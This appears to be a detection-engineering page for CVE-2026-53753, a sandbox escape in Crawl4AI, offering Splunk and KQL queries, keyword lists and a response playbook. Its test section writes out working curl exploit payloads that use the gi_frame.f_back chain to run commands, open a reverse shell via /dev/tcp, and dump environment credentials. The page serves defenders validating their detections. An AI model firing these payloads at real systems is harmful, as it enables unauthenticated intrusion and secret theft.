CVE-2026-53753 Splunk · SPL

Detect Crawl4AI AST Sandbox Escape via gi_frame.f_back Chain - Pre-Auth RCE in Splunk

Detects exploitation of CVE-2026-53753, a critical pre-authentication remote code execution vulnerability in Crawl4AI (<=0.8.6) Docker API. The vulnerability allows attackers to escape Python AST-based sandboxing via generator frame introspection (gi_frame.f_back chain), enabling arbitrary code execution without authentication. CVSS 9.8 critical; public PoC available.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation

SPL Detection Query

Splunk (SPL)
spl 
index=* (sourcetype=suricata OR sourcetype=zeek_http OR sourcetype=nginx_access OR sourcetype=docker_logs)
| eval is_crawl4ai_request=if(match(uri, "/(execute|run|crawl|extract)") OR dest_port IN ("11235", "8080", "8000"), 1, 0)
| where is_crawl4ai_request=1
| join type=left dest_ip [
    search index=* sourcetype=syslog ("gi_frame" OR "f_back" OR "__globals__" OR "__builtins__" OR "os.system" OR "__import__" OR "subprocess.Popen")
    | stats count by host, _raw
    | rename host as dest_ip
]
| where isnotnull(_raw)
| table _time, src_ip, dest_ip, uri, status, _raw
| eval alert="CVE-2026-53753: Crawl4AI AST sandbox escape attempt"
critical severity high confidence

Detects Crawl4AI API access correlated with sandbox escape payload patterns in Python process logs, indicating exploitation of CVE-2026-53753.

Data Sources

Suricata IDSZeek HTTP logsNginx access logsDocker container logsSyslog

Required Sourcetypes

suricatazeek_httpnginx_accessdocker_logssyslog

False Positives & Tuning

  • Authorized red team exercises against Crawl4AI deployments
  • Legitimate Python introspection libraries that inspect generator frame objects
  • Development environments where debugging frame-level inspection is expected
  • Security scanning tools performing CVE verification checks

Other platforms for CVE-2026-53753

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-53753 Basic Sandbox Escape via gi_frame

    Expected signal: HTTP POST to /execute endpoint followed by Python process executing os.system('id') and writing to /tmp/crawl4ai_pwned.txt; child process of uvicorn/gunicorn spawning /bin/sh

  2. Test 2CVE-2026-53753 Remote Code Execution with Reverse Shell

    Expected signal: Outbound TCP connection from Crawl4AI container to attacker IP on port 4444; subprocess.Popen spawning bash with stdin redirected to network socket

  3. Test 3CVE-2026-53753 Credential Exfiltration from Container Environment

    Expected signal: HTTP POST with gi_frame payload followed by Python reading os.environ; response containing environment variable key-value pairs potentially including API_KEY, DATABASE_URL, VAULT_TOKEN

  4. Test 4CVE-2026-53753 Unauthenticated Version Fingerprinting

    Expected signal: Unauthenticated HTTP GET to /health or root endpoint returning Crawl4AI version information without requiring credentials

Last updated: 2026-07-01 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the source IP and confirm whether the request originated from an internal host, known partner, or external internet address. Cross-reference against threat intelligence feeds for known scanner/attacker IPs.
  2. Verify whether the targeted Crawl4AI instance is version <=0.8.6 by querying the container image tag or running `pip show crawl4ai` inside the container to confirm exposure.
  3. Inspect the HTTP request body/payload for the presence of gi_frame, f_back, __globals__, __builtins__, os.system, or __import__ strings indicating an active sandbox escape attempt.
  4. Review Docker container process tree immediately following the suspicious request to determine if child processes (e.g., /bin/sh, curl, wget) were spawned, indicating successful exploitation.

Containment

  1. Immediately block inbound access to Crawl4AI API ports (default 11235) at the network perimeter or host-based firewall using: `iptables -I INPUT -p tcp --dport 11235 -j DROP` and remove any public-facing exposure.
  2. Stop and isolate the affected Crawl4AI container: `docker stop <container_id>` and preserve container state as a forensic snapshot before termination: `docker export <container_id> > crawl4ai_forensic_$(date +%s).tar`
  3. Revoke any API keys, tokens, or credentials that may have been accessible to the Crawl4AI process environment variables or mounted volumes.

Evidence Collection

  1. Capture full Docker container logs for the incident window: `docker logs --since 2h <container_id> > crawl4ai_incident_logs.txt` and preserve HTTP access logs from the reverse proxy (nginx/traefik) covering the same window.
  2. Extract the Python process memory dump or core dump if available, and collect `/proc/<pid>/environ`, `/proc/<pid>/cmdline`, and `/proc/<pid>/maps` for any suspicious child processes spawned by the Crawl4AI service.
  3. Collect network captures (pcap) from the Docker bridge interface using `tcpdump -i docker0 -w crawl4ai_traffic.pcap` covering the incident window for full payload reconstruction.

Escalation Criteria

  • !Escalate immediately to incident response if any lateral movement indicators are found, such as outbound connections from the Crawl4AI container to internal network segments, credential stores (Vault, K8s secrets), or external C2 infrastructure.
  • !Escalate if the Crawl4AI process or its children wrote files outside expected directories, modified system binaries, established persistence (cron, systemd units, authorized_keys), or exfiltrated data to external endpoints.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Crawl4AI HTTP access logs containing payloads with gi_frame, f_back, __globals__, or __builtins__ strings
  • >Python process command line arguments or environment captured in /proc/<pid>/cmdline and /proc/<pid>/environ
  • >Docker container filesystem modifications: new files in /tmp, /var/tmp, or cron directories
  • >Outbound network connections from the Crawl4AI container process to unexpected external IPs
  • >Bash history or shell command logs if the attacker obtained interactive shell access post-exploitation

Tuning Guidance

Reduce false positives by filtering on known-good source IPs (internal security scanners, monitoring agents) and excluding development/QA environments where dynamic Python execution is expected. Increase confidence by requiring both the network event (inbound HTTP to Crawl4AI port) AND the process event (Python child with escape patterns) within the correlation window. If Crawl4AI is not deployed in your environment, this detection can be used as an opportunistic scan detector by alerting on any inbound connections to port 11235 from external IPs.

Hunting Queries

Threat hunt for historical Crawl4AI sandbox escape exploitation attempts over the past 7 days, searching for AST frame introspection patterns in process command lines and container logs.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (11235, 8080, 8000)
| where ActionType == "InboundConnectionAccepted"
| join kind=inner (
    DeviceProcessEvents
    | where TimeGenerated > ago(7d)
    | where ProcessCommandLine has_any ("gi_frame", "f_back", "__globals__", "__builtins__", "os.popen", "eval(", "exec(")
    | where InitiatingProcessFileName has_any ("python", "uvicorn", "gunicorn")
) on DeviceId
| summarize count() by DeviceName, RemoteIP, ProcessCommandLine
| sort by count_ desc
Hunting — SPL
spl 
index=* (sourcetype=docker_logs OR sourcetype=syslog) earliest=-7d
| regex _raw="(gi_frame|f_back|__globals__|__builtins__|os\.popen|eval\(|exec\()"
| stats count by host, _raw
| sort - count

Atomic Red Team Tests

Test 1 CVE-2026-53753 Basic Sandbox Escape via gi_frame
linux

Simulates the minimal AST sandbox escape payload targeting Crawl4AI <=0.8.6 by sending a crafted HTTP request to the Docker API endpoint that traverses generator frame objects to access __builtins__ and execute system commands.

Command

bash 
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"os\").system(\"id > /tmp/crawl4ai_pwned.txt\")"}'

Cleanup

bash 
rm -f /tmp/crawl4ai_pwned.txt

Expected Telemetry

HTTP POST to /execute endpoint followed by Python process executing os.system('id') and writing to /tmp/crawl4ai_pwned.txt; child process of uvicorn/gunicorn spawning /bin/sh

Expected Detection

Alert on gi_frame and __builtins__ in HTTP request payload; process creation event for /bin/sh with parent uvicorn or gunicorn

Test 2 CVE-2026-53753 Remote Code Execution with Reverse Shell
linux

Demonstrates full exploitation impact by using the sandbox escape to establish a reverse shell from the Crawl4AI container to an attacker-controlled listener, simulating post-exploitation lateral movement potential.

Command

bash 
# Attacker listener (terminal 1):
nc -lvnp 4444
# Exploit request (terminal 2):
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"subprocess\").Popen([\"bash\",\"-i\"],stdin=open(\"/dev/tcp/127.0.0.1/4444\"),stdout=-1,stderr=-1)"}'

Cleanup

bash 
Kill netcat listener; docker restart crawl4ai-container

Expected Telemetry

Outbound TCP connection from Crawl4AI container to attacker IP on port 4444; subprocess.Popen spawning bash with stdin redirected to network socket

Expected Detection

Alert on subprocess.Popen and f_back in payload; network event showing outbound connection from Python process to external IP

Test 3 CVE-2026-53753 Credential Exfiltration from Container Environment
linux

Simulates post-exploitation credential theft by using the sandbox escape to read environment variables from the Crawl4AI container, which may contain API keys, database credentials, or Vault tokens.

Command

bash 
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"os\").environ.copy()"}'

Cleanup

bash 
Rotate any credentials exposed in container environment variables

Expected Telemetry

HTTP POST with gi_frame payload followed by Python reading os.environ; response containing environment variable key-value pairs potentially including API_KEY, DATABASE_URL, VAULT_TOKEN

Expected Detection

Alert on gi_frame and os.environ access pattern; data exfiltration event if environment variables returned in HTTP response body

Test 4 CVE-2026-53753 Unauthenticated Version Fingerprinting
linux

Demonstrates unauthenticated fingerprinting of Crawl4AI version to confirm exposure to CVE-2026-53753 before exploitation, as no authentication is required for the Docker API endpoint.

Command

bash 
curl -s http://localhost:11235/health | python3 -m json.tool; curl -s http://localhost:11235/ | grep -i version

Cleanup

bash 
No cleanup required for passive fingerprinting

Expected Telemetry

Unauthenticated HTTP GET to /health or root endpoint returning Crawl4AI version information without requiring credentials

Expected Detection

Network event showing unauthenticated access to Crawl4AI management endpoint from external IP; may trigger if coupled with subsequent exploit attempt

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1611Escape to HostT1552.001Credentials In Files

Same Tactic: Initial Access

Popular Detections